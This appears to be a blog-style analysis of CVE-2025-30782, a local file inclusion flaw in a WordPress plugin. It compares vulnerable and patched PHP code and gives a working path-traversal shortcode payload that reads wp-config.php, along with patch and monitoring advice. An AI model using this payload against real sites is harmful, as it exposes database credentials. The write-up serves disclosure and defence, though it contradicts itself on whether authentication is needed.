Contents

CVE-2025-30782 Analysis & POC

The Subscribe to Download Lite plugin version ≤ 1.2.9 contains a Local File Inclusion vulnerability that allows an unauthenticated attacker to control the file parameter used in include/require, thereby including or reading local files on the server (for example configuration files that contain credentials), leading to sensitive information disclosure and, in some configurations, possible code execution.

  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versions - Subscribe to Download Lite: 1.2.9 (vulnerable) and 1.3.0 (patched).
  • Diff tool - Meld or any diff tool to inspect and compare differences between the two versions.

Vulnerable version:

<div class="stdl-form-wrap stdl-<?php echo esc_attr($form_template); ?> stdl-alias>">
    <form method="post" action="" class="stdl-subscription-form" data-form-alias="stdl">
        <?php
        do_action('stdl_before_form', $form_details);

        if (file_exists(STDL_PATH . 'inc/views/frontend/form-templates/' . $form_template . '.php')) {
            include(STDL_PATH . 'inc/views/frontend/form-templates/' . $form_template . '.php');
        }
        do_action('stdl_after_form', $form_details);
        ?>
    </form>
</div>

In the vulnerable version, $form_template is concatenated into the path and included without validating the input => LFI risk, for example:

$form_template = '../../../../../../../wp-config'

Patched version:

<div class="stdl-form-wrap stdl-<?php echo esc_attr($form_template); ?> stdl-alias>">
    <form method="post" action="" class="stdl-subscription-form" data-form-alias="stdl">

        <?php
        do_action('stdl_before_form', $form_details);

        $base_dir = realpath(STDL_PATH . 'inc/views/frontend/form-templates') . DIRECTORY_SEPARATOR;
        $sanitized_template = basename($form_template) . '.php';
        $file_path = realpath($base_dir . $sanitized_template);

        if ($file_path && strpos($file_path, $base_dir) === 0 && file_exists($file_path)) {
            include($file_path);
        }
        do_action('stdl_after_form', $form_details);
        ?>
    </form>
</div>

The patch uses basename() to extract the file name portion of $form_template, removing traversal sequences ../, for example:

../../../../../../payload.pdf -> payload.pdf

Then it concatenates into $base_dir and resolves the absolute path with realpath before include() => effectively eliminates the LFI possibility.

The vulnerable form-template.php shown above is invoked from stdl-shortcode.php

<?php
$form_template = (!empty($atts['template'])) ? $atts['template'] : $form_details['layout']['template'];
if (isset($_COOKIE['stdl_encryption_key']) && $this->check_if_already_subscribed($_COOKIE['stdl_encryption_key']) && empty($form_details['general']['always_show'])) {
    // other logic
} else {
    // other logic
    if ($display_type == 'direct') {
        include(STDL_PATH . 'inc/views/frontend/form-template.php');
    } else {
        ?>
        <div class="stdl-popup-outerwrap <?php echo esc_attr($popup_alias_class); ?>">
            <input type="button" class="stdl-popup-trigger stdl-popup-<?php echo esc_attr($form_template); ?>" value="<?php echo esc_attr($popup_trigger_text); ?>">
            <div class="stdl-popup-innerwrap" style="display:none;">
                <div class="stdl-overlay stdl-popup-wrapper">

                    <div class="stdl-popup-contetn-wrap">
                        <a href="javascript:void(0)" class="stdl-popup-close"><i class="fas fa-times"></i></a>
                            <?php include(STDL_PATH . 'inc/views/frontend/form-template.php');
                            ?>
                    </div>
                </div>
            </div>
        </div>
        <?php
    }
}

$form_template is the value of $atts['template']

From CVE analysis experience on WordPress plugins, $atts is typically the shortcode attributes array, for example:

[pornhub id=69]

Note that form-template.php is always included within the inner if-else block inside the outer else when the stdl_encryption_key cookie does not exist (i.e., the user has not subscribed or does not have a valid encryption key).

stdl-shortcode.php is included by the shortcode callback subscribe_to_download_form with atts being the shortcode attributes array.

function __construct() {
    add_shortcode('subscribe_to_download_form', array($this, 'generate_shortcode_output'));
}

function generate_shortcode_output($atts) {
    wp_enqueue_style('stdl-frontend-custom', STDL_CSS_DIR . '/stdl-custom.css', array(), STDL_VERSION);
    ob_start();
    include(STDL_PATH . 'inc/views/frontend/stdl-shortcode.php');
    $form_html = ob_get_contents();
    ob_clean();
    return $form_html;
}

Log in to WordPress with a Contributor account (lowest privilege that can create posts).

Create a post with the shortcode

[subscribe_to_download_form template='../../../../../../../wp-config']

Result:

The debugger reached wp-config.php

Successful LFI result

Successful LFI result

Version ≤ 1.2.9 of Subscribe to Download Lite allows LFI because include() uses an unvalidated $atts['template']; the issue was fixed in 1.3.0 by normalizing and restricting the template name (basename() + realpath() + base_dir check) before include(). Update immediately.

  • Shortcode input is untrusted — do not include directly.
  • Patch (v1.3.0) uses basename() + realpath() + compare with allowed directory.
  • Actions: update the plugin, whitelist/validate attributes.
  • Monitor logs for ../ in template parameters.

File Inclusion/Path traversal — Hacktrick

WordPress Subscribe to Download Lite Plugin <= 1.2.9 is vulnerable to Local File Inclusion

Related Content